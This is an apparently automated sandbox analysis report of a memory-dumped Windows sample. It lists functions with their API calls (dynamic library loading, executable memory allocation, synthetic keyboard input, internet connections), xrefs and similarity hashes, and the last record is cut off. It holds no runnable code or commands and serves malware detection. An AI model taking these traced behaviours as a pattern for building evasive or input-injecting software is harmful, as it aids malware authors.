Function 0033E6A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0033E69C,?,0033E43F), ref: 0033E6B4
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0033E6C6

Strings

GetNativeSystemInfo, xrefs: 0033E6C0
kernel32.dll, xrefs: 0033E6AF

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: eaf7806654aac955120054bac48181d74782f473c9a7d67fff3fd5c8ab2b1756
Instruction ID: dce8b20a3d26d7c878c88d34096bf4e897fd54bf0bcc6f499145ad6090399bf1
Opcode Fuzzy Hash: eaf7806654aac955120054bac48181d74782f473c9a7d67fff3fd5c8ab2b1756
Instruction Fuzzy Hash: B8D0A9765007228FD7235F71F84968337ECAB34302F01542AE487E26A8DBB0C8808A60

Function 0033E6E3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0033E6D9,0000000C,0033E55B,003BDC28,?,?), ref: 0033E6F1
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0033E703

Strings

IsWow64Process, xrefs: 0033E6FD
kernel32.dll, xrefs: 0033E6EC

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: IsWow64Process$kernel32.dll
API String ID: 2574300362-3024904723
Opcode ID: 8eea4a3a618b738b58fd4e18f2cc3403588dc292e0006db73958c7250117fb6e
Instruction ID: 7f7ff7b83a000f43d78525189055c16a109e9b2335acee50c5d7b3b6b77f878c
Opcode Fuzzy Hash: 8eea4a3a618b738b58fd4e18f2cc3403588dc292e0006db73958c7250117fb6e
Instruction Fuzzy Hash: F6D0A9755003128FD7222F61F88C6837BE8BB15302F01442BE897D2690DBB4C8808AA0

Function 0037EBB9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0037EBAF,?,0037EAAC), ref: 0037EBC7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0037EBD9

Strings

GetSystemWow64DirectoryW, xrefs: 0037EBD3
kernel32.dll, xrefs: 0037EBC2

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: adc0010e6495c55a8dc9fcd264208151f908b2bea02959807c2cd2faaccf3c0e
Instruction ID: 4f50a243f7942dad0fa9a3c080cab4cd92e0e8b9d8dd8e1817bf3d0fd59fa880
Opcode Fuzzy Hash: adc0010e6495c55a8dc9fcd264208151f908b2bea02959807c2cd2faaccf3c0e
Instruction Fuzzy Hash: 84D0A9755083128FD7321F72F848A823BE8AB18304F21C46EF89BE2650DBB4D8808A60

Function 0036137B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,?,0036135F,?,00361440), ref: 00361389
GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 0036139B

Strings

oleaut32.dll, xrefs: 00361384
RegisterTypeLibForUser, xrefs: 00361395

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1071820185
Opcode ID: ef63d8003064bdecd4b8c3e265467d9944918b34506881749a1badc08055dc81
Instruction ID: 90dc5e5817c95d21b9ecef0c685d058b5a6381dbc4d1c89bdedfd6fb0a862604
Opcode Fuzzy Hash: ef63d8003064bdecd4b8c3e265467d9944918b34506881749a1badc08055dc81
Instruction Fuzzy Hash: A6D0A9399003129FD7220F64F80878236E8AF04308F29882AE487D2B50DAB0C8808B50

Function 003613A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,00000000,00361371,?,00361519), ref: 003613B4
GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 003613C6

Strings

oleaut32.dll, xrefs: 003613AF
UnRegisterTypeLibForUser, xrefs: 003613C0

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: UnRegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1587604923
Opcode ID: 356b29e328ff36365d12bcbeb2ca440be1cf906ad933fdf570ac18bfb2b0361c
Instruction ID: b239c564428832e1eac0f4da47c2687b2a2f0e9286b362b882c3842f4627e6ba
Opcode Fuzzy Hash: 356b29e328ff36365d12bcbeb2ca440be1cf906ad933fdf570ac18bfb2b0361c
Instruction Fuzzy Hash: 99D0A939A043129FD7230F64F80868236ECAB42304F25882AE497D2B68DAB0C8808B50

Function 00383ACC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00383AC2,?,003829F5), ref: 00383ADA
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00383AEC

Strings

advapi32.dll, xrefs: 00383AD5
RegDeleteKeyExW, xrefs: 00383AE6

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: ebe6409b6fa5f2e8805300660683d8bb065e345448808f9b3acda5ad2f909761
Instruction ID: 1c164932cb4155f1f7f4d8dfafba78425c4836af6dc10440323651e42f8ef905
Opcode Fuzzy Hash: ebe6409b6fa5f2e8805300660683d8bb065e345448808f9b3acda5ad2f909761
Instruction Fuzzy Hash: 77D0C9716007139FD766AF65F80D68276E8AF16B15F11446AE4E7E2B50EFF4C8808B50

Function 0032AA70 Relevance: 6.3, APIs: 4, Instructions: 300COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(00000000,?,00000000,00000001,00000000,00000000,?,?,00000000,?,?,00376AA6), ref: 0032AB2D
_wcscmp.LIBCMT ref: 0032AB49

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharUpper_wcscmp
String ID:
API String ID: 820872866-0
Opcode ID: a89a8e0fd6b5989ea6afceed591910e205b289d2b02aebfea35a2aeba23b7492
Instruction ID: e04a4a031c98ea93c51c19831d1a5b038cd6a534bf0c4de1d440f7b9a428aa14
Opcode Fuzzy Hash: a89a8e0fd6b5989ea6afceed591910e205b289d2b02aebfea35a2aeba23b7492
Instruction Fuzzy Hash: C9A10470B00926DBDB16DF64F98166EBBA5FF48300F61456AEC56C7290EB309861CB82

Function 00380D01 Relevance: 6.3, APIs: 4, Instructions: 300memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00380D85
CharLowerBuffW.USER32(?,?), ref: 00380DC8

Part of subcall function 00380458: CharLowerBuffW.USER32(?,?,?,?), ref: 00380478

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00380FB2
_memmove.LIBCMT ref: 00380FC2

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 14a927787a8b005c49c9e72518b398a9bb7f4a518c524a291c570c2a9147c639
Instruction ID: f057e586820405d700aa504b11a5e40418d6ea19cb147f99169f3ed3c58de45b
Opcode Fuzzy Hash: 14a927787a8b005c49c9e72518b398a9bb7f4a518c524a291c570c2a9147c639
Instruction Fuzzy Hash: 05B19E756047008FC756EF28C88096AB7E4EF89714F1588ADF889DB352DB31ED46CB81

Function 0037AF26 Relevance: 6.3, APIs: 4, Instructions: 268COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0037AF56
CoUninitialize.COMBASE ref: 0037AF61

Part of subcall function 00361050: CoCreateInstance.COMBASE(?,00000000,00000005,?,?), ref: 003610B8

VariantInit.OLEAUT32(?), ref: 0037AF6C
VariantClear.OLEAUT32(?), ref: 0037B23F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 49f254a0b43f0b7103bfdc86264856e51f749b90f83cd9f66ed4ee5b3dce35e6
Instruction ID: 3c6baa1c17b174659f93ed0dfde10c675036f396e91dea307708a3a77c1cd2c5
Opcode Fuzzy Hash: 49f254a0b43f0b7103bfdc86264856e51f749b90f83cd9f66ed4ee5b3dce35e6
Instruction Fuzzy Hash: 2CA15A756047019FD722EF15C891B5AB7F4BF89320F058459F99AAB3A2CB34ED40CB82

Function 003442EB Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00344347
_memcpy_s.LIBCMT ref: 003443B9
__filbuf.LIBCMT ref: 0034443A
_memset.LIBCMT ref: 0034447E

Part of subcall function 0034889E: __getptd_noexit.LIBCMT ref: 0034889E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit_memcpy_s
String ID:
API String ID: 3877424927-0
Opcode ID: aebda769b95e77701e436127e080a9cadaa2a4c9016d62218a8c9d4b87048a89
Instruction ID: c61afd4fdb2fbc1c7a45ef7a9e393de8747101a3564f48cc0538d674b08f7726
Opcode Fuzzy Hash: aebda769b95e77701e436127e080a9cadaa2a4c9016d62218a8c9d4b87048a89
Instruction Fuzzy Hash: 0A51BE34A00705DBDB268FBA88807AE77E5AF40720F258739F8659E6D1D770FE619B40

Function 0036EE88 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0036EF32
GetLastError.KERNEL32(?,00000000), ref: 0036EF58
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0036EF7D
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0036EFA9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 450fa6c8b77936d9e0f79adb2290014320e7b0f5581485c59f83dd87e3a10871
Instruction ID: 793e3254745d507af8f0a8f1a00c5fe2e7f946758db75aa4367c83871d484c59
Opcode Fuzzy Hash: 450fa6c8b77936d9e0f79adb2290014320e7b0f5581485c59f83dd87e3a10871
Instruction Fuzzy Hash: 4F414B39600621DFCB12EF15C595A49BBE5EF89720B19C088E846AF362CB34FD41CB91

Function 0038D5EE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0038D617
GetWindowRect.USER32(?,?), ref: 0038D68D
PtInRect.USER32(?,?,0038EB2C), ref: 0038D69D
MessageBeep.USER32(00000000), ref: 0038D70E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: dfe47ec306e13e217c6d406c4d4d43c9e046b4a7da56679429115adad76a77ec
Instruction ID: 18c427cbb21724006c549851454f58aadafd9aa1ca8e0f93495677ac647a212c
Opcode Fuzzy Hash: dfe47ec306e13e217c6d406c4d4d43c9e046b4a7da56679429115adad76a77ec
Instruction Fuzzy Hash: 5E416B31A00259DFCB23EF58D884BA97BF9BB49310F5981AAE409DF2D1E731E841CB50

Function 00364497 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,753DC0D0,?,00008000), ref: 003644EE
SetKeyboardState.USER32(00000080,?,00008000), ref: 0036450A
PostMessageW.USER32(00000000,00000101,00000000,?), ref: 0036456A
SendInput.USER32(00000001,?,0000001C,753DC0D0,?,00008000), ref: 003645C8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: dc31568c29598ae39bb58c558ce449e3e9702311f08b360b5986158847cff7e5
Instruction ID: 2473e6fa6cdcd136568633a93884b201f2051c87ec764c29eed6eeb3382ed204
Opcode Fuzzy Hash: dc31568c29598ae39bb58c558ce449e3e9702311f08b360b5986158847cff7e5
Instruction Fuzzy Hash: 89310471E002586FEF278B6488097FE7BB99B4B310F05825AF2C3576C9C7748A48D761

Function 00354DB4 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00354DE8
__isleadbyte_l.LIBCMT ref: 00354E16
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00354E44
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00354E7A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: b3237a6949572208584ddc0664307f353e629f02ce7bbccbfa0213d2b51b242f
Instruction ID: 4df42bb4ab8d90a96a921d57bdab8e0215141f4b5e393eda324c5746de498543
Opcode Fuzzy Hash: b3237a6949572208584ddc0664307f353e629f02ce7bbccbfa0213d2b51b242f
Instruction Fuzzy Hash: 1631A331600205AFDF2A8F74C846FAA7BB9FF41319F164518E8618B1B1E730D895DB90

Function 00387AA2 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00387AB6

Part of subcall function 003669C9: GetWindowThreadProcessId.USER32(?,00000000), ref: 003669E3
Part of subcall function 003669C9: GetCurrentThreadId.KERNEL32 ref: 003669EA
Part of subcall function 003669C9: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 003669F1

GetCaretPos.USER32(?), ref: 00387AC7
ClientToScreen.USER32(00000000,?), ref: 00387B00
GetForegroundWindow.USER32 ref: 00387B06

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 03bceaacb69e4006e22e7c0c7fcdb16f9e3179648fbb783cc75da1f99e3c0d77
Instruction ID: a437c1567ac1c1162512cf97aa53ce41337d2839f3609a7fe0a35481f3dddd26
Opcode Fuzzy Hash: 03bceaacb69e4006e22e7c0c7fcdb16f9e3179648fbb783cc75da1f99e3c0d77
Instruction Fuzzy Hash: 2C31F076D00108AFDB01EFB5D8859EFBBFDEF59314B11806AF815E7211DA359E058BA0

Function 0037497B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 003749B7

Part of subcall function 00374A41: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00374A60
Part of subcall function 00374A41: InternetCloseHandle.WININET(00000000), ref: 00374AFD

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 371bcc47948a99a514ec9cb860760d224c6651ca9f23c8ec29d74b415d9af8a0
